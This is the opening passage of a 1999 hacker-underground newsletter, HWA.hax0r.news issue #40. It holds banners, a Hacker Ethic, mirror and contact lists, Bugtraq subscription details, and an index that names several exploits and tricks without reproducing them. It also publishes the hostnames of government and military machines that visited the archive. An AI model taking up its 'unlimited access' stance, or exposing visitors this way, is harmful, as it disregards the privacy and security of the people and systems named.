      [63 29 20 31 39 39 39 20 63 72 75 63 69 70 68 75 78 20 68 77 61 ]
  =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=
  ==========================================================================
  =                       <=-[ HWA.hax0r.news ]-=>                         =
  ==========================================================================
    [=HWA'99=]                         Number 40 Volume 1 1999 Oct 31st 99
  ==========================================================================
    [                     61:20:6B:69:64:20:63:6F:75:                    ]
    [               6C:64:20:62:72:65:61:6B:20:74:68:69:73:              ]
    [              20:22:65:6E:63:72:79:70:74:69:6F:6E:22:!              ]        
  ==========================================================================

                         "ABUSUS NON TOLLIT USUM"
                         
  ==========================================================================                         
                              
      
                  Rule #1 Noone talks about fightclub!
    
                              
                                _
                                ))
                             .-'-'--.       
                            // | \ \ \      
                           | | |  | | |
                            \ \| / / /
                             `~~~~~~'       
                               
  
  
  
  
      __  __                         _____                 __          _
    / / / /___ _____  ____  __  __ / ___/____ _____ ___  / /_  ____ _(_)___
   / /_/ / __ `/ __ \/ __ \/ / / / \__ \/ __ `/ __ `__ \/ __ \/ __ `/ / __ \
  / __  / /_/ / /_/ / /_/ / /_/ / ___/ / /_/ / / / / / / / / / /_/ / / / / /
 /_/ /_/\__,_/ .___/ .___/\__, / /____/\__,_/_/ /_/ /_/_/ /_/\__,_/_/_/ /_/ 
             /_/   /_/    /____/


                __ __  __      ____                               _
              _/_// / / /___ _/ / /___ _      _____  ___  ____   | |
             / / / /_/ / __ `/ / / __ \ | /| / / _ \/ _ \/ __ \  / /
            / / / __  / /_/ / / / /_/ / |/ |/ /  __/  __/ / / / / /
           / / /_/ /_/\__,_/_/_/\____/|__/|__/\___/\___/_/ /_/_/_/
           |_|                                               /_/ 
           
           
              
                                                             _
                                                             ))
                                                          .-'-'--.     
                                                         // | \ \ \    
                                                        | | |  | | |
                                                         \ \| / / /
                                                          `~~~~~~'     
     
           
           
  =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=                       
  =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=                            




  
  
        Today the spotlight may be on you, some interesting machines that
                   have accessed these archives recently...
                   
                             infosec.se
                             gate2.mcbutler.usmc.mil
                             shq-ot-1178.nosc.mil
                             dhcp-036190.scott.af.mil
                             mcreed.lan.teale.ca.gov
                             dodo.nist.gov
                             kwai11.nsf.gov
                             enduser.faa.gov
                             vasfw02,fdic.gov 
                             lisa.defcen.gov.au
                             ps1.pbgc.gov
                             guardian.gov.sg
                             amccss229116.scott.af.mil
                             sc022ws224.nosc.mil
                             sheppard2.hurlburt.af.mil                             
                             marshall.us-state.gov
                             digger1.defence.gov.au
                             firewall.mendoza.gov.ar
                             ipaccess.gov.ru
                             gatekeeper.itsec-debis.de
                             fgoscs.itsec-debis.de
                             fhu-ed4ccdf.fhu.disa.mil
                             citspr.tyndall.af.mil
                             kelsatx2.kelly.af.mil
                             kane.sheppard.af.mil                             
                             relay5.nima.mil
                             host.198-76-34-33.gsa.gov
                             ntsrvr.vsw.navy.mil
                             saic2.nosc.mil
                             wygate.wy.blm.gov
                             mrwilson.lanl.gov
                             p722ar.npt.nuwc.navy.mil
                             ws088228.ramstein.af.mil
                             car-gw.defence.gov.au
                             unknown-c-23-147.latimes.com
                             nytgate1.nytimes.com
                             
                             
  =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=                                            
   
                     http://welcome.to/HWA.hax0r.news/                     
                                           
  =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=                                            
  
        Web site sponsored by CUBESOFT networks http://www.csoft.net
        check them out for great fast web hosting!
        
        http://www.csoft.net/~hwa
                    
  =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=                       

     The Hacker's Ethic

     Sadly, due to the traditional ignorance and sensationalizing of the mass
     media, the once-noble term hacker has become a perjorative.
     
     Among true computer people, being called a hacker is a compliment. One of
     the traits of the true hacker is a profoundly antibureaucratic and
     democratic spirit. That spirit is best exemplified by the Hacker's Ethic.
     
     This ethic was best formulated by Steven Levy in his 1984 book Hackers:
     Heroes of the Computer Revolution. Its tenets are as follows:

      1 - Access to computers should be unlimited and total. 
      2 - All information should be free. 
      3 - Mistrust authority - promote decentralization. 
      4 - Hackers should be judged by their hacking not bogus criteria such as
          degrees, age, race, or position. 
      5 - You create art and beauty on a computer, 
      6 - Computers can change your life for the better. 

     The Internet as a whole reflects this ethic.


  =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=                       
  
               A Comment on FORMATTING: 
               
               
               Oct'99 - Started 80 column mode format, code is still left
                        untouched since formatting will destroy syntax.               
               
   
               I received an email recently about the formatting of this
               newsletter, suggesting that it be formatted to 75 columns
               in the past I've endevoured to format all text to 80 cols
               except for articles and site statements and urls which are
               posted verbatim, I've decided to continue with this method
               unless more people complain, the zine is best viewed in
               1024x768 mode with UEDIT.... - Ed
    
                       
  
  =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=                       
                       


     New mirror sites
                
                http://the.wiretapped.net/security/textfiles/hWa.hax0r.news/
                http://net-security.org/hwahaxornews
                http://www.sysbreakers.com/hwa
                http://www.attrition.org/hosted/hwa/
                http://www.ducktank.net/hwa/issues.html.
                http://viper.dmrt.com/files/=E-Zines/HWA.hax0r.news/
                http://hwazine.cjb.net/
                http://www.hackunlimited.com/files/secu/papers/hwa/
                http://www.attrition.org/~modify/texts/zines/HWA/
                
              * http://hwa.hax0r.news.8m.com/           
              * http://www.fortunecity.com/skyscraper/feature/103/  
               
              * Crappy free sites but they offer 20M & I need the space...
              ** Some issues are not located on these sites since they exceed
                 the file size limitations imposed by the sites :-( please
                 only use these if no other recourse is available.
                        
                        
     
     HWA.hax0r.news is sponsored by Cubesoft communications www.csoft.net
     thanks to airportman for the Cubesoft bandwidth. Also shouts out to all 
     our mirror sites! and p0lix for the (now expired) digitalgeeks archive
     tnx guys. 
     
     http://www.csoft.net/~hwa
     
     
     HWA.hax0r.news Mirror Sites:
     ~~~~~~~~~~~~~~~~~~~~~~~~~~~
     http://the.wiretapped.net/security/textfiles/hWa.hax0r.news/
     http://www.attrition.org/hosted/hwa/
     http://www.attrition.org/~modify/texts/zines/HWA/
     http://www.ducktank.net/hwa/issues.html. ** NEW **
     http://www.alldas.de/hwaidx1.htm ** NEW ** CHECK THIS ONE OUT **
     http://www.csoft.net/~hwa/ 
     http://www.digitalgeeks.com/hwa. *DOWN*
     http://members.tripod.com/~hwa_2k
     http://welcome.to/HWA.hax0r.news/
     http://www.attrition.org/~modify/texts/zines/HWA/
     http://www.projectgamma.com/archives/zines/hwa/
     http://www.403-security.org/Htmls/hwa.hax0r.news.htm

   =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=         
   
   
  
   SYNOPSIS (READ THIS)
   --------------------
   
   The purpose of this newsletter is to 'digest' current events of interest
   that affect the online underground and netizens in general. This includes
   coverage of general security issues, hacks, exploits, underground news
   and anything else I think is worthy of a look see. (remember i'm doing
   this for me, not you, the fact some people happen to get a kick/use
   out of it is of secondary importance).

    This list is NOT meant as a replacement for, nor to compete with, the
   likes of publications such as CuD or PHRACK or with news sites such as
   AntiOnline, the Hacker News Network (HNN) or mailing lists such as
   BUGTRAQ or ISN nor could any other 'digest' of this type do so.

    It *is* intended  however, to  compliment such material and provide a
   reference to those who follow the culture by keeping tabs on as many
   sources as possible and providing links to further info, its a labour
   of love and will be continued for as long as I feel like it, i'm not
   motivated by dollars or the illusion of fame, did you ever notice how
   the most famous/infamous hackers are the ones that get caught? there's
   a lot to be said for remaining just outside the circle... <g>
   
   

   @HWA

   =-----------------------------------------------------------------------=

                     Welcome to HWA.hax0r.news ... #40

   =-----------------------------------------------------------------------=


    
    We could use some more people joining the channel, its usually pretty
    quiet, we don't bite (usually) so if you're hanging out on irc stop
    by and idle a while and say hi...   

    *******************************************************************
    ***      /join #HWA.hax0r.news on EFnet the key is `zwen'       ***
    ***                                                             ***
    *** please join to discuss or impart news on techno/phac scene  ***
    *** stuff or just to hang out ... someone is usually around 24/7***
    ***                                                             ***
    *** Note that the channel isn't there to entertain you its for  ***
    *** you to talk to us and impart news, if you're looking for fun***
    *** then do NOT join our channel try #weirdwigs or something... ***
    *** we're not #chatzone or #hack                                ***
    ***                                                             ***
    *******************************************************************


  =--------------------------------------------------------------------------=
  
  Issue #40
  =--------------------------------------------------------------------------=
  [ INDEX ]
  =--------------------------------------------------------------------------=
    Key     Intros                                                         
  =--------------------------------------------------------------------------=
 
    00.0  .. COPYRIGHTS ......................................................
    00.1  .. CONTACT INFORMATION & SNAIL MAIL DROP ETC .......................
    00.2  .. SOURCES .........................................................
    00.3  .. THIS IS WHO WE ARE ..............................................
    00.4  .. WHAT'S IN A NAME? why `HWA.hax0r.news'?..........................
    00.5  .. THE HWA_FAQ V1.0 ................................................
            
   `ABUSUS NON TOLLIT USUM'? This is (in case you hadn't guessed) Latin, and 
   loosely translated it means "Just because something is abused, it should 
   not be taken away from those  who use it properly). This is our new motto.         

  =--------------------------------------------------------------------------=
    Key     Content 
  =--------------------------------------------------------------------------=
  
    Quote of the week from irc.core.com's MOTD
  
         
   <nEuSpEeD> Y IS MY CPS GOING DOWN>>>>
   <Aikikai> nEuSpEeD: Because when you type in caps, it takes more bandwidth.
 s <Aikikai> nEuSpEeD: Therefore, your cps drops
   <nEuSpEeD> OH
   <nEuSpEeD> ok           
  


    01.0  .. GREETS ..........................................................
     01.1 .. Last minute stuff, rumours, newsbytes ...........................
     01.2 .. Mailbag .........................................................
    02.0  .. From the Editor.................................................. 
    03.0  .. Two states tangle with 'cyber terrorist'.........................
    04.0  .. Tempest Information Made Available ..............................
    05.0  .. Virus That Hit Marines Identified ...............................
    06.0  .. Love sick hacker hits Microsoft hard.............................
    07.0  .. Russian ATMs Compromised ........................................
    08.0  .. Kentucky Emergency Sirens Activated - Hacker Blamed .............
    09.0  .. Over 24 Variants of Melissa Found With More to Come .............
    10.0  .. Online Threats Labeled Cyberterrorism ...........................
    11.0  .. QPOP 2.41beta1 exploit (linux x86) by mastoras...................
    12.0  .. ls0f.c Vulnerable: linux machines running lsof 4.40..............
    13.0  .. Free phone calls over the internet in the US.....................
    14.0  .. Are You a Cyberspace Addict? s...................................
    15.0  .. Congressman Lobbies IETF For Privacy ............................ 
    16.0  .. The King Of Hidden Directories by Zym0t1c........................
    17.0  .. The Hidden Directories text referred to in 16.0 (kM/mr Disco)....
    18.0  .. Cable + Wireless Security Compromised ...........................
    19.0  .. Yugo Cyber War Not As Widespread As First Thought................
    20.0  .. England To Launch High Tech Crime Unit ..........................
    21.0  .. First Project Macro Virus Discovered ............................
    22.0  .. Microsoft Web Page Defaced ......................................
    23.0  .. Rubi-Con Wants You! .............................................
    24.0  .. Clinton Signs Phone-Tracking Bill Under 911 Cover ...............
    25.0  .. Carry Tax on Dollars Proposed ...................................
    26.0  .. $250 Million in Police Tech Approved ............................
    27.0  .. Interview With Web Inventor .....................................
    28.0  .. Computer Attacks Up Sharply in Hong Kong ........................
    29.0  .. AOL Password Scams Abound .......................................
    30.0  .. United Loan Gunmen Return .......................................
    31.0  .. Flipz' exploit...................................................
    32.0  .. Fuqrag interview.................................................
    33.0  .. Privacy and Encryption Labeled Antisocial By DOJ ................
    34.0  .. B02K Reviewed By WinNT Magazine .................................
    35.0  .. MP3 Pirates Beware ..............................................
    36.0  .. Red Herring Reviews Defcon ......................................
    37.0  .. Hong Kong to Create Government Gateway ..........................
    38.0  .. .mil and .gov Defacements on the Increase .......................
    39.0  .. CNet Chooses Top Ten 'Hacks' ....................................
    40.0  .. MSNBC Special Report ............................................
    41.0  .. Cops Receive Info on Internet Crime Fighting ....................
    42.0  .. LSU Experiences DOS Attack ......................................
    43.0  .. Oklahoma Paging System Vandalized ...............................
    44.0  .. You Thought You Were Safe .......................................
    45.0  .. The Weather Channel and Four More .gov/.mil Sites Defaced .......
    46.0  .. Nerds Will Fight Next World War .................................
    47.0  .. Hole Found in Mac OS 9 ..........................................
    48.0  .. Time Spreads Cable Modem FUD ....................................
    49.0  .. DutchThreat Quit?................................................
    50.0  .. Can you protect your image on the net?...........................
    51.0  .. Do secure email sites offer foolproof safety?....................
    52.0  .. Celtech ExpressFS USER Buffer Overflow Vulnerability ............      
    53.0  .. Netscape Messaging Server RCPT TO DoS Vulnerability..............
    54.0  .. WFTPD Remote Buffer Overflow Vulnerability.......................
    55.0  .. Pacific Software URL Live! Directory Traversal vulnerability.....
    56.0  .. InfoSec for dummies parts I and II ..............................
    57.0  .. Thwarting the systems cracker parts 1 to 6.......................
    58.0  .. Crossroads: Linux networking and security........................
    59.0  .. Cool phone stuff on the internet (Check out mytalk its leet!)....
    60.0  .. Securing DNS in FreeBSD/OpenBSD..................................
    61.0  .. Getting someone's IP thru ICQ without a hacking proggie..........
    62.0  .. Intrusion detection within a secured network.....................
    63.0  .. Preparing your Linux box for the internet: Armoring Linux........
    64.0  .. Securing DNS (Linux version).....................................
    65.0  .. Exploit for FreeBSD sperl4.036 by OVX............................
   666.0  .. tcpdump bug 3.4a? by BLADI (bladi@euskalnet.net);................
    67.0  .. dopewarez.c exploit for Dopewars.................................
    68.0  .. Linux forged packets.............................................
    69.0  .. Nashuatec printer is vulnerable to various attacks...............
    70.0  .. xmonisdn bug.....................................................
    71.0  .. Nasty stack smashing bug in Linux-2.2.12 execve .................
    72.0  .. Finjan exploit alert.............................................
    73.0  .. Hybrid network cablemodems.......................................
    74.0  .. HP Printer display hack (source code)............................
    75.0  .. Omni-NFS/X Enterprise version 6.1................................
    76.0  .. More IE5 vulnerabilities.........................................
    77.0  .. Insanity (Gov-boi from www.hack.co.za) dies in a car crash.......
    78.0  .. "Secret" Nokia phone codes.......................................    
    79.0  .. Realnetworks snooping? ..........................................
    80.0  .. Copying DVD movies?..............................................
    81.0  .. Elite irc falls..................................................
    
      
    =-------------------------------------------------------------------------------=
    
        
    AD.S  .. Post your site ads or etc here, if you can offer something in return
             thats tres cool, if not we'll consider ur ad anyways so send it in.
             ads for other zines are ok too btw just mention us in yours, please
             remember to include links and an email contact. Corporate ads will
             be considered also and if your company wishes to donate to or 
             participate in the upcoming Canc0n99 event send in your suggestions
             and ads now...n.b date and time may be pushed back join mailing list
             for up to date information.......................................
             Current dates: POSTPONED til further notice, place: TBA..........
    Ha.Ha .. Humour and puzzles  ............................................
              
              Hey You!........................................................
              =------=........................................................
              
              Send in humour for this section! I need a laugh and its hard to
              find good stuff... ;)...........................................

    SITE.1 .. Featured site, .................................................
     H.W   .. Hacked Websites  ...............................................
     A.0   .. APPENDICES......................................................
     A.1   .. PHACVW linx and references......................................
 
  =--------------------------------------------------------------------------=
     
     @HWA'99

     
 00.0 (C) COPYRIGHT, (K)OPYWRONG, COPYLEFT? V2.0
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

          THE OPINIONS OF THE WRITERS DO NOT NECESSARILY REFLECT THE
          OPINIONS OF THE PUBLISHERS AND VICE VERSA IN FACT WE DUNNO
          WTF IS GONNA TAKE RESPONSIBILITY FOR THIS, I'M NOT DOING IT
          (LOTS OF ME EITHER'S RESOUND IN THE BACKGROUND) SO UHM JUST
          READ IT AND IF IT BUGS YOU WELL TFS (SEE FAQ).
     
          Important semi-legalese and license to redistribute:
     
          YOU MAY DISTRIBUTE THIS ZINE WITHOUT PERMISSION FROM MYSELF
          AND ARE GRANTED THE RIGHT TO QUOTE ME OR THE CONTENTS OF THE
          ZINE SO LONG AS Cruciphux AND/OR HWA.hax0r.news ARE MENTIONED
          IN YOUR WRITING. LINK'S ARE NOT NECESSARY OR EXPECTED BUT ARE
          APPRECIATED the current link is http://welcome.to/HWA.hax0r.news
          IT IS NOT MY INTENTION TO VIOLATE ANYONE'S COPYRIGHTS OR BREAK
          ANY NETIQUETTE IN ANY WAY IF YOU FEEL I'VE DONE THAT PLEASE EMAIL
          ME PRIVATELY current email cruciphux@dok.org
     
          THIS DOES NOT CONSTITUTE ANY LEGAL RIGHTS, IN THIS COUNTRY ALL
          WORKS ARE (C) AS SOON AS COMMITTED TO PAPER OR DISK, IF ORIGINAL
          THE LAYOUT AND COMMENTARIES ARE THEREFORE (C) WHICH MEANS:
     
          I RETAIN ALL RIGHTS, BUT I GIVE YOU THE RIGHT TO READ, QUOTE
          AND REDISTRIBUTE/MIRROR. - EoD
     
     
          Although this file and all future issues are now copyright, some of
         the content holds its  own copyright and these are printed and
         respected. News is news so i'll print any and all news but will quote
         sources when the source is known, if its good enough for CNN its good
         enough for me. And i'm doing it for free on my own time so pfffft. :)
     
         No monies are made or sought through the distribution of this material.
         If you have a problem or concern email me and we'll discuss it.
     
         cruciphux@dok.org
     
         Cruciphux [C*:.]



 00.1 CONTACT INFORMATION AND MAIL DROP
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

     Wahoo, we now have a mail-drop, if you are outside of the U.S.A or
    Canada / North America (hell even if you are inside ..) and wish to
    send printed matter like newspaper clippings a subscription to your
    cool foreign hacking zine or photos, small non-explosive packages
    or sensitive information etc etc well, now you can. (w00t) please
    no more inflatable sheep or plastic dog droppings, or fake vomit
    thanks.

    Send all goodies to:
    

	    HWA NEWS
	    P.O BOX 44118
	    370 MAIN ST. NORTH
	    BRAMPTON, ONTARIO
	    CANADA
	    L6V 4H5
	    
	    
    
    WANTED!: POSTCARDS! YESH! POSTCARDS, I COLLECT EM so I know a lot of you are
    ~~~~~~~  reading this from some interesting places, make my day and get a
             mention in the zine, send in a postcard, I realize that some places
             it is cost prohibitive but if you have the time and money be a cool
             dude / gal and send a poor guy a postcard preferably one that has some
             scenery from your place of residence for my collection, I collect stamps
             too so you kill two birds with one stone by being cool and mailing in a
             postcard, return address not necessary, just a  "hey guys being cool in
             Bahrain, take it easy" will do ... ;-) thanx.



    Ideas for interesting 'stuff' to send in apart from news:

    - Photo copies of old system manual front pages (optionally signed by you) ;-)
    - Photos of yourself, your mom, sister, dog and or cat in a NON
      compromising position plz I don't want pr0n. <g>
    - Picture postcards
    - CD's 3.5" disks, Zip disks, 5.25" or 8" floppies, Qic40/80/100-250
      tapes with hack/security related archives, logs, irc logs etc on em.
    - audio or video cassettes of yourself/others etc of interesting phone
      fun or social engineering examples or transcripts thereof.
    
    
    Stuff you can email:
    
    - Prank phone calls in .ram or .mp* format
    - Fone tones and security announcements from PBX's etc
    - fun shit you sampled off yer scanner (relevant stuff only like #2600 meeting activities)
    - reserved for one smiley face ->        :-)            <-
    - PHACV lists of files that you have or phac cd's you own (we have a burner, *g*)
    - burns of phac cds (email first to make sure we don't already have em)
    - Any and all telephone sounds/tones/beeps/trunk drops/line tests/etc in .ram etc format or .mp*
    

    If you still can't think of anything you're probably not that interesting
    a person after all so don't worry about it <BeG>

    Our current email:

    Submissions/zine gossip.....: hwa@press.usmc.net
    Private email to editor.....: cruciphux@dok.org                                                                   
    Distribution/Website........: sas2@usa.net       

    Websites;
    
    sAs72.......................: http://members.tripod.com/~sAs72/
    Cruciphux...................: http://www.geocities.com/Area51/Lair/8913/

    @HWA



 00.2 Sources ***
      ~~~~~~~~~~~

     Sources can be some, all, or none of the following (by no means complete
    nor listed in any degree of importance) Unless otherwise noted, like msgs
    from lists or news from other sites, articles and information is compiled
    and or sourced by Cruciphux no copyright claimed.

    News & I/O zine ................. http://www.antionline.com/
    Back Orifice/cDc..................http://www.cultdeadcow.com/
    News site (HNN) .....,............http://www.hackernews.com/
    Help Net Security.................http://net-security.org/
    News,Advisories,++ .(lophtcrack)..http://www.l0pht.com/
    NewsTrolls .(daily news ).........http://www.newstrolls.com/
    News + Exploit archive ...........http://www.rootshell.com/beta/news.html
    CuD Computer Underground Digest...http://www.soci.niu.edu/~cudigest
    News site+........................http://www.zdnet.com/
    News site+Security................http://www.gammaforce.org/
    News site+Security................http://www.projectgamma.com/
    News site+Security................http://securityhole.8m.com/
    News site+Security related site...http://www.403-security.org/  *DOWN*
    News/Humour site+ ................http://www.innerpulse.com
    News/Techie news site.............http://www.slashdot.org
    
    

    +Various mailing lists and some newsgroups, such as ...
    +other sites available on the HNN affiliates page, please see
     http://www.hackernews.com/affiliates.html as they seem to be popping up
     rather frequently ...

    
    http://www.the-project.org/ .. IRC list/admin archives
    http://www.anchordesk.com/  .. Jesse Berst's AnchorDesk

    alt.hackers.malicious
    alt.hackers
    alt.2600
    BUGTRAQ
    ISN security mailing list
    ntbugtraq
    <+others>

    NEWS Agencies, News search engines etc:
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    http://www.cnn.com/SEARCH/
       
    http://www.foxnews.com/search/cgi-bin/search.cgi?query=hack&days=0&wires=0&startwire=0
        
    http://www.news.com/Searching/Results/1,18,1,00.html?querystr=hack
        
    http://www.ottawacitizen.com/business/
        
    http://search.yahoo.com.sg/search/news_sg?p=hack
        
    http://www.washingtonpost.com/cgi-bin/search?DB_NAME=WPlate&TOTAL_HITLIST=20&DEFAULT_OPERATOR=AND&headline=&WITHIN_FIELD_NAME=.lt.event_date&WITHIN_DAYS=0&description=hack
        
    http://www.zdnet.com/zdtv/cybercrime/
        
    http://www.zdnet.com/zdtv/cybercrime/chaostheory/ (Kevin Poulsen's Column)
        
    NOTE: See appendices for details on other links.
    


    http://news.bbc.co.uk/hi/english/sci/tech/newsid_254000/254236.stm
        
    http://freespeech.org/eua/ Electronic Underground Affiliation
        
    http://ech0.cjb.net ech0 Security
    
    http://axon.jccc.net/hir/ Hackers Information Report
        
    http://net-security.org Net Security
        
    http://www.403-security.org Daily news and security related site
        

    Submissions/Hints/Tips/Etc
    ~~~~~~~~~~~~~~~~~~~~~~~~~~

    All submissions that are `published' are printed with the credits
    you provide, if no response is received by a week or two it is assumed
    that you don't care wether the article/email is to be used in an issue
    or not and may be used at my discretion.

    Looking for:

    Good news sites that are not already listed here OR on the HNN affiliates
    page at http://www.hackernews.com/affiliates.html

    Magazines (complete or just the articles) of breaking sekurity or hacker
    activity in your region, this includes telephone phraud and any other
    technological use, abuse hole or cool thingy. ;-) cut em out and send it
    to the drop box.


    - Ed

    Mailing List Subscription Info   (Far from complete)         Feb 1999
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~   ~~~~~~~~~~~~~~~~~~~         ~~~~~~~~

    ISS Security mailing list faq : http://www.iss.net/iss/maillist.html


    THE MOST READ:

    BUGTRAQ - Subscription info
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~

    What is Bugtraq?

    Bugtraq is a full-disclosure UNIX security mailing list, (see the info
    file) started by Scott Chasin <chasin@crimelab.com>. To subscribe to
    bugtraq, send mail to listserv@netspace.org containing the message body
    subscribe bugtraq. I've been archiving this list on the web since late
    1993. It is searchable with glimpse and archived on-the-fly with hypermail.

    Searchable Hypermail Index;

          http://www.eecs.nwu.edu/~jmyers/bugtraq/index.html

          <a href="http://www.eecs.nwu.edu/~jmyers/bugtraq/index.html">Link</a>

    About the Bugtraq mailing list
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

    The following comes from Bugtraq's info file:

    This list is for *detailed* discussion of UNIX security holes: what they are,
    how to exploit, and what to do to fix them.

    This list is not intended to be about cracking systems or exploiting their
    vulnerabilities. It is about defining, recognizing, and preventing use of
    security holes and risks.

    Please refrain from posting one-line messages or messages that do not contain
    any substance that can relate to this list`s charter.

    I will allow certain informational posts regarding updates to security tools,
    documents, etc. But I will not tolerate any unnecessary or nonessential "noise"
    on this list.

    Please follow the below guidelines on what kind of information should be posted
    to the Bugtraq list:

    + Information on Unix related security holes/backdoors (past and present)
    + Exploit programs, scripts or detailed processes about the above
    + Patches, workarounds, fixes
    + Announcements, advisories or warnings
    + Ideas, future plans or current works dealing with Unix security
    + Information material regarding vendor contacts and procedures
    + Individual experiences in dealing with above vendors or security organizations
    + Incident advisories or informational reporting

    Any non-essential replies should not be directed to the list but to the originator of the message. Please do not
    "CC" the bugtraq reflector address if the response does not meet the above criteria.

    Remember: YOYOW.

    You own your own words. This means that you are responsible for the words that you post on this list and that
    reproduction of those words without your permission in any medium outside the distribution of this list may be
     challenged by you, the author.

    For questions or comments, please mail me:
    chasin@crimelab.com (Scott Chasin)
    
    
    UPDATED Sept/99 - Sent in by Androthi, tnx for the update
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    

      I am pleased to inform you of several changes that will be occurring
      on June 5th. I hope you find them as exciting as I do.
      
      
      BUGTRAQ moves to a new home
      ---------------------------
      
      
      First, BUGTRAQ will be moving from its current home at NETSPACE.ORG
      to SECURITYFOCUS.COM. What is Security Focus you ask? Wait and read
      below. Other than the change of domains nothing of how the list
      is run changes. I am still the moderator. We play by the same rules.
      
      
      Security Focus will be providing mail archives for BUGTRAQ. The
      archives go back longer than Netspace's and are more complete than
      Geek-Girl's.
      
      
      The move will occur one week from today. You will not need to
      resubscribe. All your information, including subscription options
      will be moved transparently.
      
      
      Any of you using mail filters (e.g. procmail) to sort incoming
      mail into mail folders by examining the From address will have to
      update them to include the new address. The new address will be:
      
      
                            BUGTRAQ@SECURITYFOCUS.COM
      
      
      Security Focus also be providing a free searchable vulnerability
      database.
      
      
      BUGTRAQ es muy bueno
      --------------------
      
      
      It has also become apparent that there is a need for forums
      in the spirit of BUGTRAQ where non-English speaking people
      or people that don't feel comfortable speaking English can
      exchange information.
      
      
      As such I've decided to give BUGTRAQ in other languages a try.
      BUGTRAQ will continue to be the place to submit vulnerability
      information, but if you feel more comfortable using some other
      language you can give the other lists a try. All relevant information
      from the other lists which have not already been covered here
      will be translated and forwarded on by the list moderator.
      
      
      In the next couple of weeks we will be introducing BUGTRAQ-JP
      (Japanese) which will be moderated by Nobuo Miwa <n-miwa@lac.co.jp>
      and BUGTRAQ-SP (Spanish) which will be moderated by CORE SDI S.A.
      from Argentina <http://www.core-sdi.com/> (the folks that brought you
      Secure Syslog and the SSH insertion attack).
      
      
      What is Security Focus?
      -----------------------
      
      
      Security Focus is an exercise in creating a community and a security
      resource. We hope to be able to provide a medium where useful and
      successful resources such as BUGTRAQ can occur, while at the same
      time providing a comprehensive source of security information. Aside
      from moving just BUGTRAQ over, the Geek-Girl archives (and the Geek Girl
      herself!) have moved over to Security Focus to help us with building
      this new community. The other staff at Security Focus are largely derived
      from long time supporters of Bugtraq and the community in general. If
      you are interested in viewing the staff pages, please see the 'About'
      section on www.securityfocus.com.
      
      
      On the community creating front you will find a set of forums
      and mailing lists we hope you will find useful. A number of them
      are not scheduled to start for several weeks but starting today
      the following list is available:
      
      
      * Incidents' Mailing List. BUGTRAQ has always been about the
         discussion of new vulnerabilities. As such I normally don't approve
         messages about break-ins, trojans, viruses, etc with the exception
         of wide spread cases (Melissa, ADM worm, etc). The other choice
         people are usually left with is email CERT but this fails to
         communicate this important information to other that may be
         potentially affected.
      
      
         The Incidents mailing list is a lightly moderated mailing list to
         facilitate the quick exchange of security incident information.
         Topical items include such things as information about rootkits
         new trojan horses and viruses, source of attacks and tell-tale
         signs of intrusions.
      
      
         To subscribe email LISTSERV@SECURITYFOCUS.COM with a message body
         of:
      
      
                   SUBS INCIDENTS FirstName, LastName
      
      
      Shortly we'll also be introducing an Information Warfare forum along
      with ten other forums over the next two months. These forums will be
      built and moderated by people in the community as well as vendors who
      are willing to take part in the community building process.
      *Note to the vendors here* We have several security vendors who have
      agreed to run forums where they can participate in the online communities.
      If you would like to take part as well, mail Alfred Huger,
      ahuger@securityfocus.com.
      
      
      On the information resource front you find a large database of
      the following:
      
      
      * Vulnerabilities. We are making accessible a free vulnerability
         database. You can search it by vendor, product and keyword. You
         will find detailed information on the vulnerability and how to fix it,
         as well are links to reference information such as email messages,
         advisories and web pages. You can search by vendor, product and
         keywords. The database itself is the result of culling through 5
         years of BUGTRAQ plus countless other lists and news groups. It's
         a shining example of how thorough full disclosure has made a significant
         impact on the industry over the last half decade.
      
      
      * Products. An incredible number of categorized security products
         from over two hundred different vendors.
      
      
      * Services. A large and focused directory of security services offered by
         vendors.
      
      
      * Books, Papers and Articles. A vast number of categorized security
         related books, papers and articles. Available to download directly
         for our servers when possible.
      
      
      * Tools. A large array of free security tools. Categorized and
         available for download.
      
      
      * News: A vast number of security news articles going all the way
         back to 1995.
      
      
      * Security Resources: A directory to other security resources on
         the net.
      
      
      As well as many other things such as an event calendar.
      
      
      For your convenience the home-page can be personalized to display
      only information you may be interested in. You can filter by
      categories, keywords and operating systems, as well as configure
      how much data to display.
      
      
      I'd like to thank the fine folks at NETSPACE for hosting the
      site for as long as they have. Their services have been invaluable.
      
      
      I hope you find these changes for the best and the new services
      useful. I invite you to visit http://www.securityfocus.com/ and
      check it out for yourself. If you have any comments or suggestions
      please feel free to contact me at this address or at
      aleph1@securityfocus.com.
      
      
      Cheers.
      
      
      --
      Aleph One / aleph1@underground.org
      http://underground.org/
      KeyID 1024/948FD6B5
      Fingerprint EE C9 E8 AA CB AF 09 61  8C 39 EA 47 A8 6A B8 01
      



    
    Crypto-Gram
    ~~~~~~~~~~~

       CRYPTO-GRAM is a free monthly newsletter providing summaries, analyses,
      insights, and commentaries on cryptography and computer security.

